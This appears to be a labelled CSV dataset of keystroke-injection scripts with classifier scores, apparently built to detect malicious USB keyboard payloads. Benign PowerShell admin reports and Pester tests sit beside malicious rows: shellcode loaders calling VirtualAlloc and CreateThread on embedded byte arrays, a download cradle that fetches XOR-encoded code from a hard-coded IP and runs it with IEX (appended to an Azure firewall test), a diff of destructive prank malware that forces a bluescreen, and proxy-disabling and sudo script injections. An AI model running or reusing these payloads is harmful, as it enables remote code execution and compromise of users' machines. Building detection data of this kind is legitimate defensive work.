win+r powershell enter unknown_key_action ATTACKMODE HID enter unknown_key_action EXTENSION DETECT_READY enter unknown_key_action REM_BLOCK DOCUMENTATION enter unknown_key_action USAGE: enter unknown_key_action Extension runs inline (here) enter unknown_key_action Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter unknown_key_action boot delay enter unknown_key_action TARGETS: enter unknown_key_action Any system that reflects CAPSLOCK will detect minimum required delay enter unknown_key_action Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms enter unknown_key_action END_REM enter unknown_key_action DEFINE #RESPONSE_DELAY 25 enter unknown_key_action DEFINE #ITERATION_LIMIT 120 enter unknown_key_action VAR $C = 0 enter unknown_key_action WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) enter unknown_key_action CAPSLOCK enter delay_medium enter unknown_key_action $C = ($C + 1) enter unknown_key_action END_WHILE enter unknown_key_action CAPSLOCK enter unknown_key_action END_EXTENSION enter delay_medium enter unknown_key_action GUI m enter delay_short enter unknown_key_action MENU enter delay_short enter unknown_key_action w enter unknown_key_action f enter delay_short enter unknown_key_action INJECT_MOD enter unknown_key_action HOLD ALT enter unknown_key_action KPAD_2 enter unknown_key_action KPAD_5 enter unknown_key_action KPAD_5 enter unknown_key_action INJECT_MOD enter unknown_key_action RELEASE ALT enter enter enter delay_short enter unknown_key_action MENU enter delay_short enter unknown_key_action o enter unknown_key_action o enter delay_short enter enter enter delay_short enter unknown_key_action SHIFT TAB enter unknown_key_action SHIFT TAB enter delay_short enter unknown_key_action RIGHTARROW enter unknown_key_action RIGHTARROW enter unknown_key_action RIGHTARROW enter unknown_key_action RIGHTARROW enter unknown_key_action ALT i enter delay_short enter tab enter tab enter delay_short enter unknown_key_action VAR $MOVERIGHT = 13 enter unknown_key_action WHILE ( $MOVERIGHT > 0 ) enter unknown_key_action RIGHTARROW enter unknown_key_action $MOVERIGHT = ( $MOVERIGHT - 1 ) enter unknown_key_action END_WHILE enter delay_short enter enter enter enter enter,1,1,5.8333586e-05,0.9999417
"win+r enter powershell enter enter enter #include <tchar.h> enter #include <strsafe.h> enter enter #pragma comment(linker, ""/SUBSYSTEM:windows /ENTRY:mainCRTStartup"") // don't open console window enter #pragma comment(lib, ""wininet"") // fixes weird thing with wininet unresolved symbols enter #pragma comment(lib, ""shell32"") enter enter @@ -229,15 +230,15 @@ void PayloadBrowser(void) enter // DONE bsod at end enter void LaunchPayloads(void) enter { enter std::array<std::function<void(void)>, 8> payloads = { enter std::array<std::function<void(void)>, 7> payloads = { enter PayloadKeyboardInput, enter PayloadSwapMouseButtons, enter PayloadCursor, enter PayloadScreenWobble, enter PayloadBrowser, enter PayloadScreenGlitch, enter PayloadMessageBox, enter PayloadInvertScreen enter PayloadMessageBox enter //PayloadInvertScreen enter }; enter enter for (unsigned i = 0; i < payloads.size(); i++) { enter @@ -262,10 +263,10 @@ void PromptToLogOut(void) { enter for (int i = 0; i < 500; i++) { enter DrawIcon(hdc, dx(mt), dy(mt), LoadIcon(NULL, IDI_ERROR)); enter DrawIcon(hdc, dx(mt), dy(mt), LoadIcon(NULL, IDI_WARNING)); enter std::this_thread::sleep_for(std::chrono::milliseconds(1)); enter std::this_thread::sleep_for(std::chrono::seconds(13)); enter } enter } enter reboot(REBOOT_BLUESCREEN); enter //reboot(REBOOT_BLUESCREEN); enter } enter enter int main(void) enter enter",1,1,8.959189e-05,0.99991035
"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter Describe 'Bin Directory' { enter foreach( $clr in @( 'coreclr', 'fullclr' ) ) enter { enter $allowedAssemblies = &{ enter 'Carbon.dll' enter 'Carbon.Iis.dll' enter 'Carbon.Xdt.dll' enter if( $clr -eq 'coreclr' ) enter { enter 'Microsoft.Web.Administration.dll' enter } enter 'Microsoft.Web.XmlTransform.dll' enter } enter Context $clr { enter It 'should not include assemblies that ship with PowerShell' { enter $binPath = Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon\bin' -Resolve enter $binPath = Join-Path -Path $binPath -ChildPath $clr enter $binPath = Join-Path -Path $BinPath -ChildPath '*' enter Get-ChildItem -Path $binPath -Exclude ($allowedAssemblies + '*.pdb') | Should -BeNullOrEmpty enter } enter } enter enter } enter } enter enter",0,0,0.9999534,4.6605634e-05
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0xca,0x10, enter 0x98,0x98,0xda,0xdb,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xb1,0x59,0x31,0x68,0x14, enter 0x83,0xe8,0xfc,0x03,0x68,0x10,0x28,0xe5,0x64,0x70,0x2e,0x06,0x95,0x81,0x4e,0x8e, enter 0x70,0xb0,0x4e,0xf4,0xf1,0xe3,0x7e,0x7e,0x57,0x08,0xf5,0xd2,0x4c,0x9b,0x7b,0xfb, enter 0x63,0x2c,0x31,0xdd,0x4a,0xad,0x69,0x1d,0xcc,0x2d,0x73,0x72,0x2e,0x0f,0xbc,0x87, enter 0x2f,0x48,0xa0,0x6a, enter enter",1,1,5.4022934e-05,0.999946
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0xf6,0x37, enter 0x21,0xc3,0xdb,0xc7,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x4b,0x83,0xee,0xfc, enter 0x31,0x6e,0x11,0x03,0x6e,0x11,0xe2,0x03,0xcb,0xc9,0x41,0xeb,0x34,0x0a,0x26,0x62, enter 0xd1,0x3b,0x66,0x10,0x91,0x6c,0x56,0x53,0xf7,0x80,0x1d,0x31,0xec,0x13,0x53,0x9d, enter 0x03,0x93,0xde,0xfb,0x2a,0x24,0x72,0x3f,0x2c,0xa6,0x89,0x13,0x8e,0x97,0x41,0x66, enter 0xcf,0xd0,0xbc,0x8a, enter enter",1,1,5.4231154e-05,0.99994576
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_dqxsnt8m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_20.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4030563e-05
unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter Terminal enter delay_medium enter enter enter delay_medium enter networksetup -setsocksfirewallproxystate Wi-Fi off enter enter,1,1,5.6544504e-05,0.9999435
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_eo024ti8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4401328e-05
"win+r powershell enter function Set-PSFLoggingProvider { [Diagnostics.CodeAnalysis.SuppressMessageAt enter tribute(""PSUseShouldProcessForStateChangingFunctions"", """")] [CmdletBinding(Help enter Uri = 'https://psframework.org/documentation/commands/PSFramework/Set-PSFLogging enter Provider')] Param ( [Alias('Provider', 'ProviderName')] [string] $Name, [ enter bool] $Enabled, enter enter",1,1,0.0034281474,0.9965719
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_jer3xidx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_150.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4367622e-05
"win+r enter powershell enter enter enter function Should-BeGreaterThan($ActualValue, $ExpectedValue, [switch] $Negate, [string] $Because) { enter enter if ($Negate) { enter return Should-BeLessOrEqual -ActualValue $ActualValue -ExpectedValue $ExpectedValue -Negate:$false -Because $Because enter } enter enter if ($ActualValue -le $ExpectedValue) { enter return New-Object psobject -Property @{ enter Succeeded = $false enter FailureMessage = ""Expected the actual value to be greater than $(Format-Nicely $ExpectedValue),$(Format-Because $Because) but got $(Format-Nicely $ActualValue)."" enter } enter } enter enter return New-Object psobject -Property @{ enter Succeeded = $true enter } enter } enter function Should-BeLessOrEqual($ActualValue, $ExpectedValue, [switch] $Negate, [string] $Because) { enter enter if ($Negate) { enter return Should-BeGreaterThan -ActualValue $ActualValue -ExpectedValue $ExpectedValue -Negate:$false -Because $Because enter } enter enter if ($ActualValue -gt $ExpectedValue) { enter return New-Object psobject -Property @{ enter Succeeded = $false enter FailureMessage = ""Expected the actual value to be less than or equal to $(Format-Nicely $ExpectedValue),$(Format-Because $Because) but got $(Format-Nicely $ActualValue)."" enter } enter } enter enter return New-Object psobject -Property @{ enter Succeeded = $true enter } enter } enter enter Add-AssertionOperator -Name BeGreaterThan ` enter -InternalName Should-BeGreaterThan ` enter -Test ${function:Should-BeGreaterThan} ` enter -Alias 'GT' enter enter Add-AssertionOperator -Name BeLessOrEqual ` enter -InternalName Should-BeLessOrEqual ` enter -Test ${function:Should-BeLessOrEqual} ` enter -Alias 'LE' enter function ShouldBeGreaterThanFailureMessage() { enter } enter function NotShouldBeGreaterThanFailureMessage() { enter } enter enter function ShouldBeLessOrEqualFailureMessage() { enter } enter function NotShouldBeLessOrEqualFailureMessage() { enter } enter enter",0,0,0.9999423,5.765055e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_fl5tpfda"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3813238e-05
"win+r enter powershell enter enter enter function Test-AzureFirewallPolicyCRUD { enter enter $rgname = Get-ResourceGroupName enter $azureFirewallPolicyName = Get-ResourceName enter $azureFirewallPolicyAsJobName = Get-ResourceName enter $resourceTypeParent = ""Microsoft.Network/FirewallPolicies"" enter $location = ""westcentralus"" enter enter $ruleGroupName = Get-ResourceName enter $appRcName = ""appRc"" enter $appRcPriority = 400 enter $appRcActionType = ""Allow"" enter enter $pipelineRcPriority = 154 enter $appRc2Name = ""appRc2"" enter $appRc2Priority = 300 enter $appRc2ActionType = ""Deny"" enter $appRule1Name = ""appRule"" enter $appRule1Desc = ""desc1"" enter $appRule1Fqdn1 = ""*google.com"" enter $appRule1Fqdn2 = ""*microsoft.com"" enter $appRule1Protocol1 = ""http:80"" enter $appRule1Port1 = 80 enter $appRule1ProtocolType1 = ""http"" enter $appRule1Protocol2 = ""https:443"" enter $appRule1Port2 = 443 enter $appRule1ProtocolType2 = ""https"" enter $appRule1SourceAddress1 = ""192.168.0.0/16"" enter $appRule2Name = ""appRule2"" enter $appRule2Fqdn1 = ""*bing.com"" enter $appRule2Protocol1 = ""http:8080"" enter $appRule2Protocol2 = ""https:443"" enter $appRule2Port1 = 8080 enter $appRule2ProtocolType1 = ""http"" enter $appRule2SourceAddress1 = ""192.168.0.0/16"" enter $networkRcName = ""networkRc"" enter $networkRcPriority = 200 enter $networkRcActionType = ""Deny"" enter $networkRule1Name = ""networkRule"" enter $networkRule1Desc = ""desc1"" enter $networkRule1SourceAddress1 = ""10.0.0.0"" enter $networkRule1SourceAddress2 = ""111.1.0.0/24"" enter $networkRule1DestinationAddress1 = ""*"" enter $networkRule1Protocol1 = ""UDP"" enter $networkRule1Protocol2 = ""TCP"" enter $networkRule1Protocol3 = ""ICMP"" enter $networkRule1DestinationPort1 = ""90"" enter $natRcName = ""natRc"" enter $natRcPriority = 200 enter $natRcActionType = ""Dnat"" enter $natRule1Name = ""natRule"" enter $natRule1Desc = ""desc1"" enter $natRule1SourceAddress1 = ""10.0.0.0"" enter $natRule1SourceAddress2 = ""111.1.0.0/24"" enter $natRule1DestinationAddress1 = ""1.2.3.4"" enter $natRule1Protocol1 = ""UDP"" enter $natRule1Protocol2 = ""TCP"" enter $natRule1DestinationPort1 = ""90"" enter $natRule1TranslatedAddress = ""10.1.2.3"" enter $natRule1TranslatedPort = ""91"" enter enter try { enter enter $resourceGroup = New-AzResourceGroup -Name $rgname -Location $location -Tags @{ testtag = ""testval"" } enter $azureFirewallPolicy = New-AzFirewallPolicy -Name $azureFirewallPolicyName -ResourceGroupName $rgname -Location $location enter $getAzureFirewallPolicy = Get-AzFirewallPolicy -Name $azureFirewallPolicyName -ResourceGroupName $rgname enter Assert-AreEqual $rgName $getAzureFirewallPolicy.ResourceGroupName enter Assert-AreEqual $azureFirewallPolicyName $getAzureFirewallPolicy.Name enter Assert-NotNull $getAzureFirewallPolicy.Location enter Assert-AreEqual (Normalize-Location $location) $getAzureFirewallPolicy.Location enter Assert-AreEqual ""Alert"" $getAzureFirewallPolicy.ThreatIntelMode enter $appRule = New-AzFirewallPolicyApplicationRule -Name $appRule1Name -Description $appRule1Desc -Protocol $appRule1Protocol1, $appRule1Protocol2 -TargetFqdn $appRule1Fqdn1, $appRule1Fqdn2 -SourceAddress $appRule1SourceAddress1 enter $appRule2 = New-AzFirewallPolicyApplicationRule -Name $appRule2Name -Description $appRule1Desc -Protocol $appRule2Protocol1, $appRule2Protocol2 -TargetFqdn $appRule2Fqdn1 -SourceAddress $appRule2SourceAddress1 enter $networkRule = New-AzFirewallPolicyNetworkRule -Name $networkRule1Name -Description $networkRule1Desc -Protocol $networkRule1Protocol1, $networkRule1Protocol2 -SourceAddress $networkRule1SourceAddress1, $networkRule1SourceAddress2 -DestinationAddress $networkRule1DestinationAddress1 -DestinationPort $networkRule1DestinationPort1 enter $appRc = New-AzFirewallPolicyFilterRuleCollection -Name $appRcName -Priority $appRcPriority -Rule $appRule, $appRule2 -ActionType $appRcActionType enter enter $appRc2 = New-AzFirewallPolicyFilterRuleCollection -Name $appRc2Name -Priority $appRc2Priority -Rule $networkRule -ActionType $appRc2ActionType enter $natRc = New-AzFirewallPolicyNatRuleCollection -Name $networkRcName -Priority $natRcPriority -Rule $networkRule -TranslatedAddress $natRule1TranslatedAddress -TranslatedPort $natRule1TranslatedPort -ActionType $natRcActionType enter enter New-AzFirewallPolicyRuleCollectionGroup -Name $ruleGroupName -Priority 100 -RuleCollection $appRc, $appRc2, $natRc -FirewallPolicyObject $azureFirewallPolicy enter $azureFirewallPolicy.ThreatIntelMode = ""Deny"" enter enter Set-AzFirewallPolicy -InputObject $azureFirewallPolicy enter enter $getAzureFirewallPolicy = Get-AzFirewallPolicy -Name $azureFirewallPolicyName -ResourceGroupName $rgName enter Assert-AreEqual $rgName $getAzureFirewallPolicy.ResourceGroupName enter Assert-AreEqual $azureFirewallPolicyName $getAzureFirewallPolicy.Name enter Assert-NotNull $getAzureFirewallPolicy.Location enter Assert-AreEqual $location $getAzureFirewallPolicy.Location enter Assert-AreEqual ""Deny"" $getAzureFirewallPolicy.ThreatIntelMode enter Assert-AreEqual 1 @($getAzureFirewallPolicy.RuleCollectionGroups).Count enter enter $getRg = Get-AzFirewallPolicyRuleCollectionGroup -Name $ruleGroupName -AzureFirewallPolicy $getAzureFirewallPolicy enter enter Assert-AreEqual 3 @($getRg.properties.ruleCollection).Count enter enter $filterRuleCollection1 = $getRg.Properties.GetRuleCollectionByName($appRcName) enter $natRuleCollection = $getRg.Properties.GetRuleCollectionByName($networkRcName) enter Assert-AreEqual $appRcName $filterRuleCollection1.Name enter Assert-AreEqual $appRcPriority $filterRuleCollection1.Priority enter Assert-AreEqual $appRcActionType $filterRuleCollection1.Action.Type enter Assert-AreEqual 2 $filterRuleCollection1.Rules.Count enter enter $appRule = $filterRuleCollection1.GetRuleByName($appRule1Name) enter enter Assert-AreEqual $appRule1Name $appRule.Name enter enter Assert-AreEqual 1 $appRule.SourceAddresses.Count enter Assert-AreEqual $appRule1SourceAddress1 $appRule.SourceAddresses[0] enter enter Assert-AreEqual 2 $appRule.Protocols.Count enter Assert-AreEqual $appRule1ProtocolType1 $appRule.Protocols[0].ProtocolType enter Assert-AreEqual $appRule1ProtocolType2 $appRule.Protocols[1].ProtocolType enter Assert-AreEqual $appRule1Port1 $appRule.Protocols[0].Port enter Assert-AreEqual $appRule1Port2 $appRule.Protocols[1].Port enter enter Assert-AreEqual 2 $appRule.TargetFqdns.Count enter Assert-AreEqual $appRule1Fqdn1 $appRule.TargetFqdns[0] enter Assert-AreEqual $appRule1Fqdn2 $appRule.TargetFqdns[1] enter $natRule = $natRuleCollection.GetRuleByName($networkRcName) enter enter Assert-AreEqual $networkRcName $natRuleCollection.Name enter Assert-AreEqual $natRcPriority $natRuleCollection.Priority enter enter Assert-AreEqual $networkRule1Name $natRule.Name enter enter Assert-AreEqual 2 $natRule.SourceAddresses.Count enter Assert-AreEqual $natRule1SourceAddress1 $natRule.SourceAddresses[0] enter Assert-AreEqual $natRule1SourceAddress2 $natRule.SourceAddresses[1] enter enter Assert-AreEqual 1 $natRule.DestinationAddresses.Count enter enter Assert-AreEqual 2 $natRule.Protocols.Count enter Assert-AreEqual $networkRule1Protocol1 $natRule.Protocols[0] enter Assert-AreEqual $networkRule1Protocol2 $natRule.Protocols[1] enter enter Assert-AreEqual 1 $natRule.DestinationPorts.Count enter Assert-AreEqual $natRule1DestinationPort1 $natRule.DestinationPorts[0] enter enter Assert-AreEqual $natRule1TranslatedAddress $natRuleCollection.TranslatedAddress enter Assert-AreEqual $natRule1TranslatedPort $natRuleCollection.TranslatedPort enter $testPipelineRg = Get-AzFirewallPolicyRuleCollectionGroup -Name $ruleGroupName -AzureFirewallPolicyName $getAzureFirewallPolicy.Name -ResourceGroupName $rgname enter $testPipelineRg|Set-AzFirewallPolicyRuleCollectionGroup -Priority $pipelineRcPriority enter $testPipelineRg = Get-AzFirewallPolicyRuleCollectionGroup -Name $ruleGroupName -AzureFirewallPolicyName $getAzureFirewallPolicy.Name -ResourceGroupName $rgname enter Assert-AreEqual $pipelineRcPriority $testPipelineRg.properties.Priority enter enter $azureFirewallPolicyAsJob = New-AzFirewallPolicy -Name $azureFirewallPolicyAsJobName -ResourceGroupName $rgname -Location $location -AsJob enter $result = $azureFirewallPolicyAsJob | Wait-Job enter Assert-AreEqual ""Completed"" $result.State; enter } enter finally { enter enter Clean-ResourceGroup $rgname enter } enter } enter [SYsteM.NET.ServicePOINtMAnaGEr]::ExPEct100CoNtInue = 0;$WC=New-ObJEct SySTem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEADERS.ADd('User-Agent',$u);$Wc.PrOXy = [SySTEm.NeT.WeBReQueSt]::DEfaULtWEbProxY;$wC.ProXy.CREdENTIALs = [SYsTEm.Net.CREdentiaLCache]::DEfauLtNEtwoRkCREdEntiAlS;$K='63a9f0ea7bb98050796b649e85481845';$i=0;[cHAR[]]$b=([CHaR[]]($wc.DownLoAdStRING(""http://138.121.170.12:3137/index.asp"")))|%{$_-BXOr$K[$i++%$k.Length]};IEX ($B-JoIN'') enter enter",1,1,5.550088e-05,0.99994445
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_76jp6vrs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_200.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4598535e-05
win+r enter powershell enter enter enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()] enter [string]$LogFile = 'LogonReport.csv' enter ) enter enter $Entries = @() enter $IPv4 = foreach ($ip in (ipconfig) -like '*IPv4*') {($ip -split ' : ')[-1]} enter $DT = Get-Date enter foreach ($IP in $IPv4) { enter $object = New-Object -TypeName System.Management.Automation.PSObject enter $object | Add-Member -MemberType NoteProperty -Name ComputerName -Value $env:COMPUTERNAME enter $object | Add-Member -MemberType NoteProperty -Name UserName -Value $env:USERNAME enter $object | Add-Member -MemberType NoteProperty -Name IPAddress -Value $IP enter $object | Add-Member -MemberType NoteProperty -Name DateTime -Value (Get-Date) enter $object enter $Entries += $object enter } enter foreach ($Entry in $Entries) { enter Do { enter Try { enter Export-Csv -InputObject $Entry -Path $LogFile -Encoding UTF8 -NoTypeInformation -NoClobber -Append enter $Success = $true enter } Catch { enter $Success = $false enter Start-Sleep -Seconds 1 enter } enter } while ($Success -eq $false) enter } enter enter,0,0,0.99413127,0.005868723
"win+r enter powershell enter enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter $user = $null enter $url = 'http://test-gethttpurlacl:10939/' enter enter function Assert-TestUrl enter { enter param( enter [Carbon.Security.HttpUrlSecurity[]] enter $Acls enter ) enter enter $Global:Error.Count | Should -Be 0 enter enter $Acls | Should -Not -BeNullOrEmpty enter $Acls.Count | Should -Be 1 enter enter $acl = $Acls[0] enter $acl.Access.Count | Should -Be 1 enter $rule = $acl.Access[0] enter $rule.IdentityReference | Should -Be ('{0}\{1}' -f $env:COMPUTERNAME,$CarbonTestUser.UserName) enter } enter enter Describe 'Get-HttpUrlAcl' { enter BeforeEach { enter $Global:Error.Clear() enter netsh http add urlacl ('url={0}' -f $url)('user={0}\{1}' -f $env:COMPUTERNAME,$CarbonTestUser.UserName) | Write-Debug enter } enter enter AfterEach { enter netsh http delete urlacl ('url={0}' -f $url) enter } enter enter It 'should get all url acls' { enter [Carbon.Security.HttpUrlSecurity[]]$acls = Get-HttpUrlAcl enter $acls | Should -Not -BeNullOrEmpty enter $urlacl = netsh http show urlacl enter $urlacl = $urlacl -join [Environment]::NewLine enter enter foreach( $acl in $acls ) enter { enter $header = '' -f $acl.Url enter enter if( $acl.Access.Count -eq 1 ) enter { enter enter if( $acl.Access[0].IdentityReference -is [Security.Principal.SecurityIdentifier] ) enter { enter continue enter } enter enter $rule = $acl.Access[0] enter $identity = $rule.IdentityReference.ToString() enter if( $identity -eq 'Everyone' ) enter { enter $identity = '\Everyone' enter } enter enter $listen = 'No' enter if( $rule.HttpUrlAccessRights -eq [Carbon.Security.HttpUrlAccessRights]::Listen -or $rule.HttpUrlAccessRights -eq [Carbon.Security.HttpUrlAccessRights]::ListenAndDelegate ) enter { enter $listen = 'Yes' enter } enter enter $delegate = 'No' enter if( $rule.HttpUrlAccessRights -eq [Carbon.Security.HttpUrlAccessRights]::Delegate -or $rule.HttpUrlAccessRights -eq [Carbon.Security.HttpUrlAccessRights]::ListenAndDelegate ) enter { enter $delegate = 'Yes' enter } enter enter $regex = 'Reserved\ URL\s+:\s+{0}\s+User:\s+{1}\s+Listen:\s+{2}\s+Delegate:\s+{3}' -f [regex]::Escape($acl.Url),[regex]::escape($identity),[regex]::Escape($listen),[regex]::Escape($delegate) enter $urlacl | Should -Match $regex enter enter } enter } enter } enter enter It 'should get specific url' { enter [Carbon.Security.HttpUrlSecurity[]]$acls = Get-HttpUrlAcl -LiteralUrl $url enter Assert-TestUrl $acls enter } enter It 'should ignore wildcards with literal url parameter' { enter [Carbon.Security.HttpUrlSecurity[]]$acls = Get-HttpUrlAcl -LiteralUrl 'http://*:10939/' -ErrorAction SilentlyContinue enter $acls | Should -BeNullOrEmpty enter $Global:Error.Count | Should -BeGreaterThan 0 enter $Global:Error[0] | Should -Match 'not found' enter } enter enter It 'should find with wildcard' { enter [Carbon.Security.HttpUrlSecurity[]]$acls = Get-HttpUrlAcl -Url 'http://*:10939/' enter Assert-TestUrl $acls enter } enter enter It 'should write error if literal url not found' { enter $acl = Get-HttpUrlAcl -LiteralUrl 'fubar' -ErrorAction SilentlyContinue enter $acl | Should -BeNullOrEmpty enter $Global:Error.Count | Should -BeGreaterThan 0 enter $Global:Error[0] | Should -Match 'not found' enter } enter enter It 'should fail if url with no wildcards not found' { enter $acl = Get-HttpUrlAcl -Url 'fubar' -ErrorAction SilentlyContinue enter $acl | Should -BeNullOrEmpty enter $Global:Error.Count | Should -BeGreaterThan 0 enter $Global:Error[0] | Should -Match 'not found' enter } enter enter It 'should not fail if url with wildcards not found' { enter $acl = Get-HttpUrlAcl -Url 'fubar*' enter $acl | Should -BeNullOrEmpty enter $Global:Error.Count | Should Be 0 enter } enter } enter enter function Init enter { enter $script:user = $null enter } enter enter function GivenUser enter { enter param( enter $UserName, enter $Description enter ) enter enter $script:user = Install-User -Credential (New-Credential -UserName $UserName -Password 'Password1') -Description $Description -PassThru enter } enter enter function GivenUrlAcl enter { enter param( enter $Uri, enter $UserName enter ) enter enter netsh http add urlacl ('url={0}' -f $url) ('user={0}\{1}' -f $env:COMPUTERNAME,$UserName) | Write-Debug enter } enter enter Describe 'Get-HttpUrlAcl.when ACL identity no longer exists' { enter Init enter $url = 'http://+:8999/' enter netsh http delete urlacl ('url={0}' -f $url) enter $existingUrlAcls = Get-HttpUrlAcl enter GivenUser 'cgethttpurlacl' 'Carbon test user for Get-HttpUrlAcl' enter GivenUrlAcl $url 'cgethttpurlacl' enter Uninstall-User 'cgethttpurlacl' enter $urlAclsNow = Get-HttpUrlAcl enter It ('should return all ACLs') { enter ($urlAclsNow | Measure-Object).Count | Should -Be (($existingUrlAcls | Measure-Object).Count + 1) enter $badSidAcl = $urlAclsNow | Where-Object { $_.Url -eq $url } enter $badSidAcl | Should -Not -BeNullOrEmpty enter $badSidAcl.Access | Where-Object { $_.IdentityReference.Value -eq $user.Sid.Value } | Should -Not -BeNullOrEmpty enter } enter } enter enter",0,0,0.9999479,5.2126656e-05
capslock capslock ctrl alt t enter sudo chmod +x #SCRIPT-NAME; sh #PATH-TO-SCRIPT#SCRIPT-NAME $; exit enter #SUDO-PSWD enter,1,1,0.0034039337,0.99659604
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_4amwv4n7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter",0,0,0.99996626,3.3766322e-05
